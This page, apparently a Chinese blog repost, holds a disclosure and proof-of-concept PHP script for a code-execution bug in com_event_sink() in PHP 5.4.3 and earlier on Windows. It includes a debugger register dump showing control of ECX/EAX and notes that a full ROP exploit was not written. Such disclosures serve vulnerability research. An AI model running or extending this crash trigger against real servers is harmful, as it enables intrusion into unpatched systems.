php5.4漏洞,PHP 5.4.3 'com_event_sink()' 远程代码执行漏洞

<?php

/*

PHP <= 5.4.3 (com_event_sink) Code Execution Proof of Concept

Found by condis

Website: http://cond.psychodela.pl

Tested on:

PHP 5.3.8 + Windows XP SP3 Professional PL

PHP 5.3.10 + Windows XP SP3 Professional PL

PHP 5.4.0 + Windows XP SP3 Professional PL

PHP 5.4.3 + Windows XP SP3 Professional PL

Description:

This is a very strange bug and I had a really hard time trying to classify

it, but lets start from the beginning.

As we can read in PHP manual : com_event_sink function connects events from

COM object to a PHP object. First argument should be a COM object. But when

I set it up to new Variant(), PHP instance crashed.

After few minutes of research it was clear to me that we can control EAX

register by defining first parameter of our Variant object.

The proof of concept code located below should produce situation similar to

this :

eax=024e0050 ebx=010328f0 ecx=41414141 edx=00c0facc esi=0121ff68 edi=00000000

eip=100f33d5 esp=00c0faa8 ebp=00000000 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202

100f33d4 50 push eax

100f33d5 8b01 mov eax,dword ptr [ecx] ds:0023:41414141=????????

100f33d7 ffd0 call eax

IMHO it is possible to write a reliable exploit using i.e.: ROP method but due

to lack of free time and skill I leave this task to someone else. Also 0in tried

to write stable exploit for same bug in com_print_typeinfo() function but as far

as I know it isn't stable enough :(

Greetz: cxib, 0in, and others ;>

*/

$EAX = 0x024E0050; // stack starts at 0x024E0050 (in my case)

$stack = str_repeat("x41", 0x1000000); // putting some garbage on the stack so the ECX would be 41414141

class foo { }

com_event_sink(new Variant($EAX), new foo(), array());

?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值